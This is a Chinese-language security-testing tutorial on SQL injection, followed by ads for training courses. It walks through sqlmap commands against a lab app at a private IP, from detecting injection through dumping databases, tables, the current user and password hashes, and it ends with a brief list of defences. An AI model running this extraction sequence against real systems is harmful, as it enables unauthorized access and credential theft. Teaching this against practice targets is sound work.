测试开发训练营01期
免费参加啦
详见文章结尾
上期回顾:安全测试之SQL注入(一)
SQL联合注入的典型例子:

直接使用sqlmap来进行注入:
接口:
http://172.16.3.116/BWVS/user/updateName.php
请求方法:POST
参数:
user_name=xiaoyan&u_id=1&submit=submit
注入的命令:
pythonsqlmap.py-u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
--level=5
--risk=3
结果如下:
username这个参数存在布尔盲注,报错盲注和联合查询注入

既然存在sql注入漏洞,那么继续获取数据库相关信息
python sqlmap.py -u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
--dbs

继续拿到当前系统对应的数据库
python sqlmap.py -u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
--current-db

既然已经知道数据库名称,就可以进一步获取数据表
python sqlmap.py -u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
-D BWVS --tables

获取用户名和密码
python sqlmap.py -u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
--current-user

python sqlmap.py-u
"http://172.16.3.116/BWVS/user/updateName.php"
--method=POST
--data
"user_name=xiaoyan&u_id=1&submit=submit"
--passwords

加密的密码还可以继续破解,
最后找到解密的密码,所以呀,
简单的密码是很容易被破解的。

通配符注入例子
My Wishlist搜索product name,存在通配符注入
输入3_4,可搜索出内容
输入3%,可搜索出内容

5. 主流防御SQL注入的方法:
(1)过滤关键字符
对一些sql语句中可能出现的关键词进行过滤
(2)编码/转义特殊符号
对用户输入的编码进行编码或转义,使其无法产生原有效果
(3)语义分析拦截
对用户输入进行判断,保证不存在于任意可执行的sql语句的片段中
注:安全测试环境部署 参考文档 https://note.youdao.com/ynoteshare1/index.html?id=73d0918c17e13a580d0932447b1aefe0&type=note
往期回顾:

测试开发训练营01期
(双十一活动页自动监控平台)
开营时间:
4月13日 9:30至17:30
人数上限:
50人
参与条件:
两人成团,其中至少一人是非慧测老学员
报名金额:
两个人共99元,完整参与实训并最终提交代码,退还全部学费
拉上你的小伙伴,一起来慧测学习吧

4月21日 自动化16期
正式开讲
5月11日 测试开发5期
正式开讲
5月12日性能测试28期
正式开讲

- END -



